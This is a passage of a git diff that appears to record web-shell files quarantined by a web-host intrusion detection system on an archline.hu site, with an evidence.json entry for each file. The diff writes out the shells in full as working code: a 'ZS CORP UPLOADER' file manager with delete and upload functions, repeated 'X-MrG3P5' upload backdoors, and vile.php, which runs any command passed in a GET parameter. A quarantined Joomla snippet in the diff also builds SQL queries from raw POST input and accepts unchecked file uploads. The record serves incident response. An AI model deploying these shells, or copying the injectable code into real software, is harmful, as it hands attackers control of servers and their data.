";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..bff1dfa --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2958", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925136, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..6ec037e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2956", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925124, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..235ba76 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2945", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925133, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..80e3f0b --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2961", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925134, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..8e73023 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2951", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925135, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..57aea0d --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2943", + "log_excerpt": "[quarantine] www.archline.hu:templates/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925136, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b b/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b new file mode 100644 index 0000000..11e99ed --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b @@ -0,0 +1,212 @@ +input->getInt('Itemid'); +if (is_array($src_variables)) {foreach ($src_variables as $src_key => $src_value) {${$src_key} = $src_value;}} +echo $_SERVER['DOCUMENT_ROOT']; + + + + + + + +
+ +

+ +

+ + + + guest; + + + if (/*$status = 1*/true) { + + $db=JFactory::getDbo(); + + + $db->setQuery("SELECT nUserID FROM `cl_hlusers`.`u_emails` WHERE `email`='".$_POST['email']."' LIMIT 1;"); + + $exist1=$db->loadObject(); + + + + if (empty($exist1)) { + + + $db->setQuery("SELECT * FROM `cl_hlusers`.`users` WHERE `strEmail`='".$_POST['email']."' LIMIT 1;"); + + $exist2=$db->loadObject(); + + + if (empty($exist2)) { + + $db->setQuery("INSERT INTO `cl_hlusers`.`users` (`strEmail`,`strName`, `nCtrID`, `old_db`) + + VALUES ('".$_POST['email']."','".$_POST['fname'].' '.$_POST['lname']."', '".$_POST['country']."', 'clusers_eng');"); + + $db->execute(); + + $nUserID = $db->insertid(); + + + $db->setQuery("INSERT INTO `cl_hlusers`.`u_emails` (`email`,`nUserID`, `default`, `active`, `deleted`, `newsletter`) + + VALUES ('".$_POST['email']."','".$nUserID."', '1', '1', '0', '1');"); + + $db->execute(); + + + } else { + + $nUserID = $exist2->nUserID; + + } + + } else { + + $nUserID = $exist1->nUserID; + + } + + + } else { + + $nUserID = $user->nUserID; + + } + + $education = $_POST['education']; + + + $db->setQuery("UPDATE `cl_hlusers`.`users` SET `strEducation`='".$education."' WHERE nUserID=".$nUserID." LIMIT 1;"); + + $db->execute(); + + + + + $db->setQuery("INSERT INTO `cl_hlusers`.`u_history` (`nUserID`,`nTopicID`, `dateEvent`, `strPlace`, `old_db`, `nManagerID`) + + VALUES ('".$nUserID."', '386', '".date('Y-m-d')."', 'web', 'clusers_eng', '36');"); + + $db->execute(); + + + + + + + if (!file_exists("/var/www/hosting/archline.hu/sub/attachements/{$nUserID}")) + + mkdir("/var/www/hosting/archline.hu/sub/attachements/{$nUserID}"); + + + + + + $countfiles = count($_FILES['files']['name']); + + for ($i = 0; $i < $countfiles; $i++) { + + $filename = $_FILES['files']['name'][$i]; + + move_uploaded_file($_FILES['files']['tmp_name'][$i], JPATH_BASE.'/attachements/'.$nUserID.'/'.$filename); + + + + + $path_parts = pathinfo( '/attachements/'.$nUserID.'/'.$filename); + + + + + $db->setQuery("INSERT INTO `cl_hlusers`.`attachments` (`add_nManagerID`,`nUserID`, `path`, `file_name`, `file_type`, `file_extension`, `strInfo`, `add_DateTime`) + + VALUES ('36','".$nUserID."', 'not-public/".$nUserID."/', '".$path_parts['filename']."', 'image/png', '.".$path_parts['extension']."', 'Academic Proof', '".date('Y-m-d H:i:s')."');"); + + $db->execute(); + + + + + + $mailer = JFactory::getMailer(); + + + + $config = JFactory::getConfig(); + + + $sender = array( + + $config->get( 'info@archlinexp.com' ), + + $config->get( 'info@archlinexp.com' ) + + ); + + + + $mailer->setSender($sender); + + $mailer->addRecipient($_POST['email']); + + $body = 'Dear '.$_POST['fname'].' '.$_POST['lname'].'

We have received your request for (PRODUCT NAME), and we are currently evaluating it. You will hear back from us within 2 working days.

Should your application be approved, you will receive a link to our online store, where you can pay for your subscription, and get the necessary info on how to download and activate your ARCHLine.XP copy.

Best wishes,
The ARCHLine.XP Team'; + + + $mailer->isHtml(true); + + $mailer->Encoding = 'base64'; + + + + $mailer->setSubject('Your subject string'); + + $mailer->setBody($body); + + $send = $mailer->Send(); + + + + + + + + } ; ?> + + + + + + quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b)", + "original_sha256": "b90cbff9d883e0fc95f312b0ec2deea7d84e118c77458159621a68e903854a31", + "original_stat": { + "gid": 30037, + "mtime": 1632035805, + "size": 5650, + "uid": 20043 + }, + "rel_path": "tmp/sourcerer_php_a8b71fc76ead414984c90657b7e06a0b", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json new file mode 100644 index 0000000..0383fda --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3545", + "log_excerpt": "[quarantine] www.archline.hu:tmp/up_4ucqzf.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/up_4ucqzf.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813017, + "size": 448, + "uid": 20043 + }, + "rel_path": "tmp/up_4ucqzf.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json new file mode 100644 index 0000000..56abb56 --- /dev/null +++ b/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3557", + "log_excerpt": "[quarantine] www.archline.hu:tmp/up_w79o5p.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/up_w79o5p.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812925, + "size": 448, + "uid": 20043 + }, + "rel_path": "tmp/up_w79o5p.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vbjim.php7.json b/var/www/hosting/archline.hu/www/vbjim.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vbjim.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json b/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json new file mode 100644 index 0000000..e3466b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vbjim.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2887", + "log_excerpt": "[quarantine] www.archline.hu:vbjim.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vbjim.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950925, + "size": 448, + "uid": 20043 + }, + "rel_path": "vbjim.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vile.php.json b/var/www/hosting/archline.hu/www/vile.php.json new file mode 100644 index 0000000..b8cbb94 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vile.php.json @@ -0,0 +1,40 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode(" +",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vile.php.json.evidence.json b/var/www/hosting/archline.hu/www/vile.php.json.evidence.json new file mode 100644 index 0000000..7bce42d --- /dev/null +++ b/var/www/hosting/archline.hu/www/vile.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2919", + "log_excerpt": "[quarantine] www.archline.hu:vile.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vile.php.json)", + "original_sha256": "3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e", + "original_stat": { + "gid": 30037, + "mtime": 1783956463, + "size": 1223, + "uid": 20043 + }, + "rel_path": "vile.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/vtury.php5.json b/var/www/hosting/archline.hu/www/vtury.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vtury.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json b/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json new file mode 100644 index 0000000..3fa8ee1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/vtury.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2913", + "log_excerpt": "[quarantine] www.archline.hu:vtury.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/vtury.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790443, + "size": 448, + "uid": 20043 + }, + "rel_path": "vtury.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/whqyc.php.json b/var/www/hosting/archline.hu/www/whqyc.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/whqyc.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json b/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json new file mode 100644 index 0000000..d6f3b5a --- /dev/null +++ b/var/www/hosting/archline.hu/www/whqyc.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2849", + "log_excerpt": "[quarantine] www.archline.hu:whqyc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/whqyc.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950920, + "size": 448, + "uid": 20043 + }, + "rel_path": "whqyc.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/wwzau.phtml.json b/var/www/hosting/archline.hu/www/wwzau.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/wwzau.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

